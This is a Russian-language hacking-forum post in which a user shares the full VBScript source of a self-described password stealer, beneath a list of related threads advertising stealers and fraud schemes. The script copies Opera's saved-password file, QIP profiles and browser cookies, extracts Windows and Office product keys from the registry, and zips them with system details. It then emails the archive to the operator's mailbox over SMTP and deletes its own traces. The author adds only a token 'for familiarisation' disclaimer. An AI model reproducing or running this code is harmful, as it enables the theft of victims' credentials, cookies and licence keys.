Стиллер всякого на VBS

S

snr93

Original poster
Выкладываю свою наработку... ооочень древнюю, но новичкам для понимания логики VBS пойдет. Вообще считаю что очень недооцененный инструмент, который встроен в винду. Это вам не бат с кастратным функционалом и черным окном, это полноценный инструмент, который может быть использовал по разному. Писал я его очень давно, в году 2008 по моему. Но он еще актуален, нужно внести только несколько правок. Поэтому прошу рассматривать его как возможности VBS, говнокодинг(это был 2008г я еще даже в 9 класс не хотил, че вы хотите xD) и пример некоторых реализаций:) Ну а кто хочет, там поправить несколько строк и он будет работать отлично. Комментами все подписано.

А еще я дико проорал. Я его раньше выкладывал на свой, теперь уже мертвый сайт и его много куда скопипиздили. Мне не жалко, но нашлись ушлые ребята, которые его начали ПРОДАВАТЬ как приватный стиллер
При этом я нашел сливы и понял, что барыга даже не пытался что-то изменить, т.к. вот эта строка даже не изменена:

Call SendPost("smtp.mail.ru","[email protected]","[email protected]","passi_lamera=)","Хозяин, я тебе тут пароли лоха подкинул=)")

А на других ресурсах его выкладывали как СЛИВ у барыг xD Меня это знатно повеселило:)

Такие дела.

Короче че умеет:
- собирает инфу о системе
- тырит ключи от офиса
- тырит файлы, которые вы укажете
- пакует это все в ZIP архив и отсылает вам на почту.



Код:
Const FOF_SIMPLEPROGRESS = 256
'указываем переменные
Dim MySource, MyTarget, MyHex, MyBinary, i
Dim oShell, oCTF
Dim oFileSys
dim winShell
dim newfolderpath
dim t
'тело троя
On Error Resume Next
h = Hour(Now)
m = Minute(Now)
s = Second(Now)
t = date() & "-" & h & "-" & m & "-" & s
dim filesys, newfolder
newfolderpath = "c:\SystemFolder" ' Название временной папки
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(newfolderpath) Then
   Set newfolder = filesys.CreateFolder(newfolderpath)
End If
'собираем файлы
set filesys=Nothing
Set newfolder=Nothing
Set FileSystemObject = CreateObject("scripting.filesystemobject")
set WshShell1 = WScript.CreateObject("WScript.Shell")
str = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Application Data\Opera\Opera\wand.dat"
If FileSystemObject.fileExists(str) = True Then
FileSystemObject.copyfile "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Application Data\Opera\Opera\wand.dat" ,"C:\SystemFolder\wand.dat"
FolderSystemObject.copyfolder "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Application Data\QIP\Profiles" ,"C:\SystemFolder\Profiles"
'ключ от операционки и офиса
Set WshShell = CreateObject("WScript.Shell")
MicroSoft = "HKLM\SOFTWARE\Microsoft"
DigitalProductIdWindows = MicroSoft & "\Windows NT\CurrentVersion\DigitalProductId"
On Error Resume Next
Set Word = CreateObject("Word.Application")
DigitalProductIdOffice = MicroSoft & "\Office\" & word.Version & "\Registration\" & _
word.ProductCode & "\DigitalProductId"
Word.Quit
OfficeKey = GetKey(WshShell.RegRead(DigitalProductIdOffice))
WindowsKey = GetKey(WshShell.RegRead(DigitalProductIdWindows))
Function GetKey(byval p)
pc="BCDFGHJKMPQRTVWXY2346789"
For i=0 To 28
a=0
For j=0 To 14
a=p(66-j)+a*256
p(66-j)=(a\24) And 255
a=a Mod 24
Next
ProductKey = Mid(pc,a+1,1) & ProductKey
 If (((i+2) Mod 6)=0) And (i<28) Then
i=i+1
ProductKey = "-" & ProductKey
End If
Next
GetKey = ProductKey
End Function
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.OpenTextFile("info.txt", 2, True)
f.WriteLine "Ключ от операционки: " & WindowsKey
f.WriteLine "Ключ от офиса(если пусто то офис не установлен): " & OfficeKey
                                                                                            'инфо о системе
Set WshShell = WScript.CreateObject("WScript.Shell")
Set WshSysEnv = WshShell.Environment("SYSTEM")
Set WshProEnv = WshShell.Environment("PROCESS")
SysInfo = "Системные параметры компьютера:" + Chr(10)+ Chr(10)
SysInfo = SysInfo + "Процессоров: " + _
WshSysEnv("NUMBER_OF_PROCESSORS") + Chr(10)
SysInfo = SysInfo + "Архитектура: " + _
WshSysEnv("PROCESSOR_ARCHITECTURE") + Chr(10)
SysInfo = SysInfo + "ID процессора: " + _
WshSysEnv("PROCESSOR_IDENTIFIER") + Chr(10)
SysInfo = SysInfo + "Поколение: " + _
WshSysEnv("PROCESSOR_LEVEL") + Chr(10)
SysInfo = SysInfo + "Операционная система: " + WshSysEnv("OS") + Chr(10)
SysInfo = SysInfo + "Файл командной строки: " + _
WshProEnv("COMSPEC") + Chr(10)
SysInfo = SysInfo + "Пути: " + WshProEnv("PATH") + Chr(10)
SysInfo = SysInfo + "Исполняемые файлы: " + _
WshSysEnv("PATHEXT") + Chr(10)
SysInfo = SysInfo + "Директория Windows: " + _
WshProEnv("WINDIR") + Chr(10)
SysInfo = SysInfo + "Временная папка: " + WshProEnv("TEMP") + Chr(10)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.OpenTextFile("info.txt", 2, True)
f.WriteLine "" & SysInfo
f.Close
Set FSO = CreateObject("Scripting.FileSystemObject")
f.Close
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file1  = FSO.GetFile("info.txt")
file1.Move("c:\SystemFolder\info.txt")
Else
End If
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim MyZipName
Dim oApp, oFolder, oFile
set WshShell1 = WScript.CreateObject("WScript.Shell")
filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Cookies"
set WshShell1 = Nothing
MySource = filePath
MyTarget = newfolderpath & "\" & t
archPath_IE = t & "-"
MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
For i = 0 To UBound(MyHex)
MyBinary = MyBinary & Chr(MyHex(i))
Next
Set oShell = CreateObject("WScript.Shell")
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oCTF = oFileSys.CreateTextFile(MyTarget, True)
oCTF.Write MyBinary
oCTF.Close
Set oCTF = Nothing
Set oApp = CreateObject("Shell.Application")
Set oFolder = oApp.NameSpace(MySource)
If Not oFolder Is Nothing Then
oApp.NameSpace(MyTarget).CopyHere oFolder.Items
End If
wScript.Sleep(5000)
Set oFile = Nothing
On Error Resume Next
Do While (oFile Is Nothing)
Set oFile = oFileSys.OpenTextFile(MyTarget, ForAppending, False)
If Err.number <> 0 then
Err.Clear
wScript.Sleep 3000
End If
                                                                                                    'архивируем
Loop
Set oFile=Nothing
Set oFileSys=Nothing
Dim arrResult
arrResult = ZipFolder( "C:\SystemFolder", "C:\SystemFolder.zip" )
If arrResult(0) <> 0 Then
WScript.Echo "ERROR " & Join( arrResult, vbCrLf )
End If
Function ZipFolder( myFolder, myZipFile )
Dim objApp, objFSO, objTxt
Const ForWriting = 2
If Right( myFolder, 1 ) <> "\" Then
myFolder = myFolder & "\"
End If
On Error Resume Next
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
Set objTxt = objFSO.OpenTextFile( myZipFile, ForWriting, True )
objTxt.Write "PK" & Chr(5) & Chr(6) & String( 18, Chr(0) )
objTxt.Close
Set objTxt = Nothing
Set objFSO = Nothing
If Err Then
ZipFolder = Array( Err.Number, Err.Source, Err.Description )
Err.Clear
On Error Goto 0
Exit Function
End If
Set objApp = CreateObject( "Shell.Application" )
objApp.NameSpace( myZipFile ).CopyHere objApp.NameSpace( myFolder ).Items
If Err Then
ZipFolder = Array( Err.Number, Err.Source, Err.Description )
Set objApp = Nothing
Err.Clear
On Error Goto 0
Exit Function
End If
Do Until objApp.NameSpace( myZipFile ).Items.Count _
= objApp.NameSpace( myFolder  ).Items.Count
WScript.Sleep 200
Loop
Set objApp = Nothing
If Err Then
ZipFolder = Array( Err.Number, Err.Source, Err.Description )
Err.Clear
On Error Goto 0
Exit Function
End If
On Error Goto 0
ZipFolder = Array( 0, "", "" )
End Function
'отправляем на мыло
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
Call SendPost("smtp.mail.ru","[email protected]","[email protected]","passi_lamera=)","Хозяин, я тебе тут пароли лоха подкинул=)")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
'почта от кого придет письмо
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="user_mail"
'пароль от этой почты(не от своей блять!)
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="pass_mail"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25
Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
iMsg.AddAttachment "C:\SystemFolder.zip"
iMsg.Send
End Function
Set iMsg=Nothing
Set iConf=Nothing
Set Flds=Nothing
                  
'удаляем zip-архив
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file2  = FSO.GetFile("c:\SystemFolder.zip")
file2.Delete
'удаляем info.txt
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file2  = FSO.GetFile("c:\SystemFolder\info.txt")
file2.Delete
'удаляем wand.dat
Set FSO = CreateObject("Scripting.FileSystemObject")
Set file2  = FSO.GetFile("c:\SystemFolder\wand.dat")
file2.Delete
 
S

snr93

Original poster
А, ну да, материал тупо для ознакомления, все использование повлечет бутылку только для ваших булок :)
 
Название темы
Автор Заголовок Раздел Ответы Дата
L Интересно Java - Стиллер паролей в Minecraft моде Другие ЯП 8
M Склейка любого exe (РАТНИК, Стиллер) с docx (WORD) Продажа софта 2
K ⚡⚡⚡ Стиллер + Админ Панель |500 РУБ|⚡⚡⚡ Продажа софта 9
J Стиллер паролей с отправкой по почте. Вирусология 5
A Стиллер + Админ Панель (Читай описание) Pro Продажа софта 9
L Стиллер Mystery, многофункциональный и с выдержкой на любые нагрузки Продажа софта 30
A Стиллер паролей для Chrome и Firefox Уязвимости и взлом 0
M [USB]Стиллер или флешка ВОР) Софт для работы с текстом/Другой софт 40
R Стиллер куков и паролей c# .NET 3
obscure Интересно YouTube канал на кардер\хаккинг\скам\кодер тематику Видео/Музыка 0
ChangeExpert Ожидает оплаты ChangeExpert - первый полностью автоматизированный криптовалютный обменник на рынке РФ Обменники 1
Support81 Был героем – стал злодеем: почему уставшие ИБ-специалисты встают на путь криминала Новости в сети 0
F Ручное размещение тем на разных форумах и продажа базы. Ищу работу. Предлагаю свои услуги. 0
Support81 Loop DoS: бесконечные циклы на службе киберпреступников Новости в сети 0
M Работа на выгодных условиях без особого труда. Предоставляю работу. Ищу специалиста. 0
Support81 ФБР: технологии могут повлиять на американские выборы в 2024 году Новости в сети 0
Emilio_Gaviriya Статья Поиск уязвимостей на хосте. Уязвимости и взлом 1
Support81 Американские власти наложили санкции на разработчиков спайвари Predator Новости в сети 0
Support81 Фишинг-кит CryptoChameleon ориентирован на пользователей мобильных устройств Новости в сети 0
srv24 Продам SRV24 - выделенные серверы в 193 странах мира от 15$! Скидки при оплате на 1 год! Заходи! Сайты/Хостинг/Сервера 1
Support81 Xeno RAT опубликован на GitHub: продвинутый кибершпионаж теперь доступен каждому Новости в сети 0
Support81 Более 100 тысяч зараженных репозиториев на GitHub маскируются под легитимные проекты Новости в сети 0
Emilio_Gaviriya Статья Как ловить хакеров на живца. Уязвимости и взлом 0
Support81 Картинки PNG - новый способ доставки троянов на компьютеры организаций Новости в сети 0
Support81 Темный рыцарь на продажу: в чьих руках окажется исходный код вымогателя Knight 3.0? Новости в сети 0
Emilio_Gaviriya Статья Безопасность на серверах. Уязвимости и взлом 0
zpcny Продам ✅⭐️ Check My IP - самая глубокая проверка IP на чистоту и GEO⭐️ ✅ Дедики/VPN/соксы/ssh 4
Support81 Google разоблачила сеть компаний-шпионов, работающих на правительства Новости в сети 1
turbion0 Министерство юстиции США раскрыло схему мошенничества с криптовалютой на 1,89 млрд долларов. Новости в сети 0
turbion0 В Пензе мошенница получила от государства миллион рублей на несуществующих детей Новости в сети 0
turbion0 Мошенники оформили на малоимущих астраханцев 30 млн рублей кредитов Новости в сети 0
Support81 Взлом или небрежность? Код и пароли Binance были доступны на GitHub в течение нескольких месяцев Новости в сети 0
Emilio_Gaviriya Статья Защита конфиденциальности: Как сбросить данные на Android в экстренных ситуациях. Полезные статьи 0
Support81 Просчитались, но где? Заказ на убийство в зашифрованном чате обернулся для бандитов тюрьмой Новости в сети 0
0 Лутаем Кэш на рефаунде Сбермаркета Способы заработка 0
0 Лутаем Кэш на бесконечной подписке Яндекс Плюс Способы заработка 0
Emilio_Gaviriya Статья Инструкция по обнаружению хоста и тестированию на проникновение. Уязвимости и взлом 0
Ёшкин_кот Интересно Определение объёма встроенной видео памяти на ноутбуке. Свободное общение и флейм 0
Support81 Conti и Royal получили мощного союзника: хакеры 3AM вступают в игру, но кто они на самом деле? Новости в сети 0
Support81 Обманутые старики и пропавшие миллионы: член группировки Black Axe осужден на 10 лет тюрьмы Новости в сети 0
Support81 Запрет на выплаты вымогателям: как отказ от выкупа усилит атаки на критическую инфраструктуру Новости в сети 0
АнАлЬнАя ЧуПаКаБрА Сервис Проект с выводом на крипту + (Покупка лотерейных билетов) Проекты Private Keeper 0
DELTABEK Как зарабатывать 100.000 рублей в день на арбитраже криптовалют? Способы заработка 5
Support81 В 2023 году Роскомнадзор заблокировал на 10% меньше страниц, чем в прошлом году Новости в сети 1
D До 7к на Бездепах казино Способы заработка 1
Ёшкин_кот Интересно Пишем любой текст на листочке который держит обнажённая девушка. 18+ Свободное общение и флейм 0
NovaBaseNova Базы на заказ. Собираем по любым направлениям! Ищу работу. Предлагаю свои услуги. 0
Support81 Оплата за лайки: раскрыта мошенническая схема заработка на YouTube Новости в сети 0
M Схема заработка на онлайн рулетке Способы заработка 5
Aimer2033 Интересно Мегамаркет. Скидка 1000 рублей при покупке от 3000 рублей на все, на первый заказ. Другое 18

Название темы